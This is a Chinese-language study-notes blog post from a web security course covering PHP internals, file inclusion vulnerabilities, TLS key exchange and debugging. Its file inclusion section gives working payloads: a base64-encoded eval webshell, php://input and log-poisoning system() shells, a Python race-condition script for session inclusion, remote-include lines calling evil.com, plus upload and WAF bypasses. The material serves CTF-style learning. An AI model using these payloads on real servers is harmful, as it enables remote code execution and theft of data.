【成长笔记】【web安全】深入Web安全与PHP底层:四天实战课程笔记

本文整理自为期四天的网络安全实战课程,涵盖PHP底层原理、文件包含漏洞利用、HTTPS加密原理以及源码级调试技术。


摘要

本笔记系统讲解Web安全核心技术:

PHP底层机制: 剖析源码到Opcode编译流程,揭示顶层/非顶层函数注册差异,利用临时函数名机制\0function/path:line$0绕过调用限制。
文件包含漏洞: 详解php://filterphar://等伪协议利用,重点包括"死亡exit"绕过(base64特性)、session.upload_progress条件竞争等高级技术。
HTTPS加密: 解析TLS握手流程、RSA密钥交换的前向保密缺陷、证书链验证机制及Burp中间人攻击原理。
调试技术: 提供Docker+pwndbg+GDB环境搭建方案,实现从汇编级到代码级的完整调试链。
就业导向: 强调调试能力、云安全(Docker/K8s)、AI辅助工具在当前行业的重要性,建议通过真实渗透、CNVD挖掘、CTF比赛积累经验。


课程概述与学习路径

网络安全学习的核心目标

就业导向

  • 真实渗透经历(0-1渗透、内网渗透)
  • CNVD漏洞编号
  • CTF比赛经验(强网杯、网鼎杯)
  • 实习经历(最重要)

技术发展趋势

  • Web漏洞形态演变(SQL注入仍然存在,但需要协议层绕过)
  • 云安全占比80%(Docker、K8s)
  • AI辅助安全(MCP、Claude Code、Gemini CLI)
  • 前端加密逆向能力

必备技能栈

复制代码
调试技能(重中之重)
├── Python: PyCharm + 虚拟环境
├── Java: IDEA + JDK(1.8/17/21)
├── PHP: PHPStorm/VSCode + Xdebug
└── JavaScript: 浏览器DevTools

环境部署
├── Windows: PHPStudy
├── Linux: LNMP/LAMP
└── Docker: 隔离环境

PHP底层编译执行原理

1. PHP脚本执行的两大阶段

阶段一:编译(源码 → Opcode)
复制代码
源代码 → 词法分析 → 语法分析 → 生成AST → 编译成Opcode → Pass Two

示例代码

php 复制代码
<?php
$a = 1;
$b = 1;
$c = $a + $b;
echo $c;

词法分析结果

复制代码
T_OPEN_TAG   <?php
T_VARIABLE   $a
=            =
T_LNUMBER    1
;            ;
...

生成的Opcode

复制代码
索引  操作码    操作数1      操作数2      结果
0     ASSIGN    (常量)1      (变量)$a     -
1     ASSIGN    (常量)1      (变量)$b     -
2     ADD       (变量)$a     (变量)$b     临时变量T1
3     ASSIGN    (临时)T1     (变量)$c     -
4     ECHO      (变量)$c     -            -
5     RETURN    (常量)1      -            -
阶段二:执行(Opcode → 结果)

Zend虚拟机逐条执行每个Opcode对应的Handler函数:

c 复制代码
void execute() {
    zval *a, *b, *c, temp;
    
    ZEND_ASSIGN_HANDLER(&a, 1);        // $a = 1
    ZEND_ASSIGN_HANDLER(&b, 1);        // $b = 1
    ZEND_ADD_HANDLER(&temp, a, b);     // temp = 2
    ZEND_ASSIGN_HANDLER(&c, &temp);    // $c = 2
    ZEND_ECHO_HANDLER(c);              // 输出 2
    return;
}

2. 函数编译的关键差异

顶层函数 vs 非顶层函数

顶层函数toplevel=true):

php 复制代码
function test() {
    echo "hello";
}
  • 直接用函数名注册到全局函数表
  • 无需生成 DECLARE_FUNCTION opcode

非顶层函数toplevel=false):

php 复制代码
if (condition) {
    function inner() {  // 嵌套在if语句中
        echo "inner";
    }
}
  • 编译时生成临时函数名:\0inner/path/to/file.php:3$0
  • 运行时才将真实函数名注册到函数表
  • 生成 DECLARE_FUNCTION opcode

临时函数名生成规则(PHP 7.x):

复制代码
'\0' + 函数名 + 文件路径 + ':' + 起始行号 + '$' + 计数器

实战案例:绕过函数调用限制

php 复制代码
<?php
$password = trim($_REQUEST['password'] ?? '');
$name = trim($_REQUEST['name'] ?? 'viewsource');

if (strcmp(hash('sha256', $password), 'ca5727...') === 0) {
    function readflag() {  // 非顶层函数
        echo 'flag{...}';
    }
}

$name();  // 动态调用

绕过思路

  1. 因为无法满足if条件,readflag不会被正常注册
  2. 但编译时已生成临时函数名:\0readflag/var/www/html/test.php:6$0
  3. 使用 \ 前缀绕过trim的\0过滤
  4. 最终payload:name=\%00readflag/var/www/html/test.php:6$0

3. PHP 8.1+ 的变化

PHP 8.1删除了临时函数名机制(PR #5595),原因是内存泄露问题。但临时类名机制仍然存在,可作为新的利用点。


文件包含漏洞深度剖析

1. 基础知识

常见文件包含函数
php 复制代码
include()        // 警告后继续执行
require()        // 致命错误,终止脚本
include_once()   // 只包含一次
require_once()   // 只包含一次
环境要求
ini 复制代码
allow_url_fopen = On    // 默认开启
allow_url_include = On  // PHP 5.2+默认关闭

2. PHP伪协议利用

php://filter - 文件读取

基础用法

复制代码
php://filter/read=convert.base64-encode/resource=flag.php

绕过"死亡exit"

php 复制代码
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

利用base64特性

复制代码
filename=php://filter/write=convert.base64-decode/resource=shell.php
txt=aPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=  // <?php @eval($_POST['cmd']);?>前加a凑够8字节

原理

  • base64解码时会忽略非法字符:<?php exit; ?>phpexit(7个字符)
  • 添加一个a凑够8字节,使其能被正常解码
  • 后续的webshell正常解码并写入

使用strip_tags方法

复制代码
filename=php://filter/read=string.strip_tags|convert.base64-decode/resource=shell.php
php://input - POST数据执行
php 复制代码
// 目标代码
include($_GET['file']);

// 利用方式
GET: ?file=php://input
POST: <?php system('cat /flag'); ?>

绕过文件内容检测

php 复制代码
if (file_get_contents($a, 'r') === 'I want flag') {
    echo $flag;
}

// Payload
GET: ?a=php://input
POST: I want flag
phar:// - 压缩包利用

基本原理

复制代码
phar://archive.zip/shell.php
zip://archive.zip#shell.php  (需URL编码#为%23)

关键特性

  • 不依赖文件扩展名,通过Magic Bytes识别格式
  • PK\x03\x04 → 识别为ZIP
  • 可以绕过上传限制(改名为.jpg)

完整利用链

复制代码
用户上传: shell.zip
重命名为: 1.jpg(绕过上传检测)
包含文件: phar://1.jpg/shell.php
    ↓
Phar Stream Wrapper解析
    ↓
检测文件头: PK\x03\x04 → 识别为ZIP
    ↓
解析ZIP结构 → 提取shell.php
    ↓
返回PHP源码 → Zend编译执行

源码级流程

复制代码
phar_wrapper_open_url()
    → phar_parse_url()           // 分离archive和entry
    → phar_detect_phar_format()  // 检测文件格式
    → phar_parse_zipfile()       // 解析ZIP结构
    → phar_get_entry_data()      // 获取文件内容
    → 返回php_stream

3. 包含日志文件

Apache日志路径

复制代码
/var/log/apache2/access.log
/var/log/apache2/error.log

利用步骤

  1. 发送恶意请求写入日志:

    复制代码
    GET /<?php system($_GET['cmd']); ?> HTTP/1.1
  2. 包含日志文件执行:

    复制代码
    ?file=/var/log/apache2/access.log&cmd=cat /flag

4. Session文件包含

Session路径

复制代码
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID

利用session.upload_progress

这是一个默认开启的特性(session.upload_progress.enabled = On),无需初始化Session!

关键配置

ini 复制代码
session.upload_progress.enabled = On
session.upload_progress.cleanup = On  // 上传完成后自动清除
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

利用脚本

python 复制代码
import io
import requests
import threading

sessid = 'hacker'

def upload_progress():
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        requests.post(
            'http://target.com/upload.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'},
            files={'file': ('test.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def include_session():
    while True:
        r = requests.get(f'http://target.com/index.php?file=/tmp/sess_{sessid}')
        if 'flag{' in r.text:
            print(r.text)
            break

with requests.session() as session:
    t1 = threading.Thread(target=upload_progress)
    t1.daemon = True
    t1.start()
    include_session()

原理

  1. POST上传文件时,Session中会包含 upload_progress_xxx 的值(用户可控)
  2. 虽然上传完成后会被清除,但可以通过条件竞争在清除前包含
  3. 即使session.auto_start=Off,上传时也会自动创建Session

5. 绕过技巧总结

指定前缀绕过
php 复制代码
// 代码:include "/var/www/html/" . $_GET['file'];

// 目录遍历
?file=../../etc/passwd

// URL编码
?file=%2e%2e%2f%2e%2e%2fetc/passwd

// 二次编码
?file=%252e%252e%252f
指定后缀绕过
php 复制代码
// 代码:include $_GET['file'] . ".php";

// URL查询参数(RFI)
?file=http://evil.com/shell.txt?

// URL Fragment
?file=http://evil.com/shell.txt%23

// phar协议
?file=phar://shell.zip/cmd
长度截断(PHP < 5.2.8)
复制代码
?file=./././[重复256次]/./shell.txt
%00截断(PHP < 5.3.4 且 magic_quotes_gpc=Off)
复制代码
?file=shell.txt%00

6. 防御措施

php 复制代码
// 白名单限制
$allowed = ['index', 'about', 'contact'];
$page = $_GET['page'] ?? 'index';
if (!in_array($page, $allowed)) {
    die('Invalid page');
}
include $page . '.php';

// open_basedir限制
// php.ini: open_basedir = /var/www/html

// 禁用危险协议
// php.ini: allow_url_include = Off

HTTPS加密与RSA密钥协商

1. TLS握手流程(RSA密钥交换)

复制代码
客户端                                    服务端
   │                                        │
   │──────── Client Hello ─────────────────>│
   │  - TLS版本: 1.2                        │
   │  - 随机数: Client Random                │
   │  - 支持的加密套件列表                   │
   │                                        │
   │<────── Server Hello ────────────────── │
   │  - 选择TLS版本: 1.2                     │
   │  - 随机数: Server Random                │
   │  - 选择加密套件: TLS_RSA_WITH_AES_128_GCM_SHA256
   │                                        │
   │<────── Server Certificate ──────────── │
   │  - 数字证书(含RSA公钥)                │
   │                                        │
   │<────── Server Hello Done ──────────── │
   │                                        │
   │──────── Client Key Exchange ──────────>│
   │  - pre-master(用服务器公钥加密)       │
   │                                        │
   │──────── Change Cipher Spec ───────────>│
   │──────── Encrypted Handshake ──────────>│
   │                                        │
   │<────── Change Cipher Spec ─────────── │
   │<────── Encrypted Handshake ─────────── │
   │                                        │
   │═══════ 加密通信开始 ═══════════════════│

2. 密钥生成过程

三个随机数

  1. Client Random(客户端生成)
  2. Server Random(服务端生成)
  3. pre-master(客户端生成,用服务器公钥加密传输)

会话密钥生成

复制代码
Master Secret = PRF(pre-master, "master secret", Client Random + Server Random)

3. 数字证书验证

证书链结构

复制代码
根证书(Root CA)
    ↓ 签发
中间证书(Intermediate CA)
    ↓ 签发
服务器证书(baidu.com)

验证流程

  1. 浏览器获取服务器证书
  2. 提取证书内容,计算Hash值(H1)
  3. 用CA公钥解密证书签名,得到Hash值(H2)
  4. 比较H1和H2:
    • 相等 → 证书未被篡改
    • 不等 → 证书不可信

CA公钥来源

  • 操作系统内置根证书列表
  • 浏览器内置根证书列表

4. RSA算法的缺陷

前向保密问题

  • 如果服务器私钥泄露,过去所有被截获的加密流量都会被破解
  • 原因:pre-master是用服务器公钥加密的

解决方案:DH/ECDHE密钥交换

复制代码
客户端生成临时私钥 → 计算临时公钥 → 发送给服务端
服务端生成临时私钥 → 计算临时公钥 → 发送给客户端
双方独立计算 → 得到相同的会话密钥

即使服务器私钥泄露,也无法计算出历史会话密钥

5. Burp Suite如何解密HTTPS

前提条件

  1. 用户主动安装Burp的CA证书到信任列表
  2. Burp作为中间人,分别与客户端和服务器建立TLS连接

双向TLS连接

复制代码
客户端 <──TLS1──> Burp Suite <──TLS2──> 服务器

TLS1: 客户端信任Burp的证书(手动安装)
TLS2: Burp信任服务器的证书(正常验证)

Burp解密TLS1 → 查看明文 → 重新加密成TLS2

源码级调试环境搭建

1. Docker容器调试方案

启动容器

bash 复制代码
docker run -it --rm --name debug -p 8080:8080 -p 2222:22 tuwen/phpsrc-debug:8.1-backdoor

VSCode远程连接

  1. 安装插件:Remote - SSHC/C++

  2. 保存容器提供的私钥到本地(如 D:\private.key

  3. 修改私钥权限(Windows):

    • 右键 → 属性 → 安全 → 高级
    • 禁用继承 → 删除所有权限
    • 添加当前用户的完全控制权限
  4. SSH连接:

    bash 复制代码
    ssh -p 2222 -i D:\private.key root@192.168.x.x

2. pwndbg调试PHP底层

安装pwndbg

bash 复制代码
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

常用调试命令

bash 复制代码
# 启动调试
gdb /usr/local/php83/bin/php

# 设置断点
b zend_execute_scripts          # 脚本执行入口
b zend_compile_file             # 编译阶段
b ZEND_INCLUDE_OR_EVAL_SPEC_CONST_HANDLER  # include处理

# 运行PHP脚本
run test.php

# 单步执行
ni  # 汇编级单步(不进入函数)
si  # 汇编级单步(进入函数)

# 查看内存
telescope $rsp 20               # 查看栈
x/10gx 0x7fff1234               # 查看指定地址

# 查看结构体成员
p *op_array                     # 打印op_array结构
p/x op_array->opcodes[0]        # 打印第一个opcode

# 搜索字符串
search -t string "phar://"

实战案例:调试phar包含

gdb 复制代码
# 在phar协议处理函数下断点
b phar_wrapper_open_url

# 运行PHP脚本
run -r "include('phar://test.jpg/shell.php');"

# 单步跟踪
ni
telescope $rsp 10

# 查看phar_archive_data结构
p *(phar_archive_data*)0x...
p manifest  # 查看文件清单

3. 源码编译PHP 8.3

安装依赖

bash 复制代码
sudo apt update
sudo apt install -y build-essential libssl-dev libcurl4-openssl-dev \
    libxml2-dev libzip-dev libpng-dev libjpeg-dev libonig-dev \
    libsqlite3-dev libreadline-dev

编译配置

bash 复制代码
wget https://github.com/php/php-src/archive/refs/tags/php-8.3.23.zip
unzip php-8.3.23.zip
cd php-src-php-8.3.23

./buildconf --force
./configure \
    --prefix=/usr/local/php83 \
    --with-config-file-path=/usr/local/php83/etc \
    --enable-fpm \
    --enable-debug \
    --enable-mbstring \
    --with-curl \
    --with-openssl \
    --with-zip \
    --enable-phar \
    --enable-cli

make -j$(nproc)
sudo make install

配置Nginx + PHP-FPM

nginx 复制代码
# /etc/nginx/sites-available/default
location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass 127.0.0.1:9000;  # PHP-FPM监听端口
}
bash 复制代码
# 启动PHP-FPM
sudo /usr/local/php83/sbin/php-fpm

# 重启Nginx
sudo systemctl restart nginx

实战技巧与工具

1. Xdebug配置(代码级调试)

php.ini配置

ini 复制代码
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode = debug
xdebug.start_with_request = yes
xdebug.client_host = 127.0.0.1
xdebug.client_port = 9003

VSCode配置(launch.json)

json 复制代码
{
    "name": "Listen for Xdebug",
    "type": "php",
    "request": "launch",
    "port": 9003,
    "pathMappings": {
        "/var/www/html": "${workspaceFolder}"
    }
}

2. AI辅助安全研究

推荐工具

  • Claude Code:代码分析与漏洞挖掘
  • Gemini 3 Pro:动态视图理解(Veo 3.1图像生成)
  • ChatGPT Code Interpreter:数据分析
  • Qwen-3-VL:多模态分析(图片+代码)

典型使用场景

复制代码
我想分析这段PHP源码的安全问题:
[粘贴代码]

请帮我:
1. 找出潜在的漏洞点
2. 生成PoC利用脚本
3. 给出修复建议

3. 信息收集工具

浏览器插件

  • FOFA Chrome插件:快速资产发现
  • Wappalyzer:技术栈识别
  • HackBar:快速构造Payload

命令行工具

bash 复制代码
# Nmap端口扫描
nmap -sV -p- target.com

# SQLMap SQL注入
sqlmap -u "http://target.com?id=1" --batch

# Nuclei漏洞扫描
nuclei -u https://target.com -t exposures/

4. WAF绕过技巧

SQL注入绕过

sql 复制代码
-- 大小写混淆
SeLeCt * FrOm users

-- 注释插入
SELECT/**/password/**/FROM/**/users

-- 编码绕过
%53%45%4C%45%43%54 (SELECT的URL编码)

-- 协议层绕过(MySQL Connector/J)
使用预编译+参数篡改绕过WAF检测

文件上传绕过

复制代码
# 双重后缀
shell.php.jpg

# 00截断(老版本PHP)
shell.php%00.jpg

# .htaccess解析
.htaccess内容:
AddType application/x-httpd-php .jpg

# 大小写绕过
shell.PhP

总结

核心要点回顾

  1. PHP底层理解

    • 编译阶段:源码 → AST → Opcode
    • 执行阶段:Zend VM逐条执行Handler
    • 函数注册机制:toplevel决定函数名生成方式
  2. 文件包含利用链

    • 伪协议:php://filter、php://input、phar://、zip://
    • 日志/Session包含 + 条件竞争
    • phar协议不依赖扩展名,通过Magic Bytes识别
  3. HTTPS安全

    • RSA密钥交换存在前向保密问题
    • 证书链验证确保服务器身份
    • Burp解密需用户主动信任CA证书
  4. 调试技能

    • 代码级:Xdebug + VSCode/PHPStorm
    • 汇编级:pwndbg/GDB + 源码编译PHP
    • 容器化:Docker隔离环境
相关推荐
遗悲风2 小时前
PHP伪协议全面解析:原理、常用场景、攻防实战与安全防护
android·安全·php
wdfk_prog2 小时前
[Linux]学习笔记系列 -- [drivers][base]cpu
linux·笔记·学习
九皇叔叔2 小时前
使用 perf + FlameGraph 生成火焰图(Flame Graph)笔记
笔记·性能分析·火焰图
niaiheni2 小时前
PHP文件包含
开发语言·php
无名的小三轮2 小时前
第二章 信息安全概述
开发语言·php
℡終嚸♂6802 小时前
渗透测试前四天笔记
笔记
弥生赞歌3 小时前
网安学习第一章(安全事件、安全厂商和安全产品)
安全
吃不吃早饭3 小时前
深入浅出:HTTPS 安全机制 + PHP 文件包含与伪协议全解析
安全·https·php
摘星编程3 小时前
React Native for OpenHarmony 实战:SecureStorage 安全存储详解
安全·react native·react.js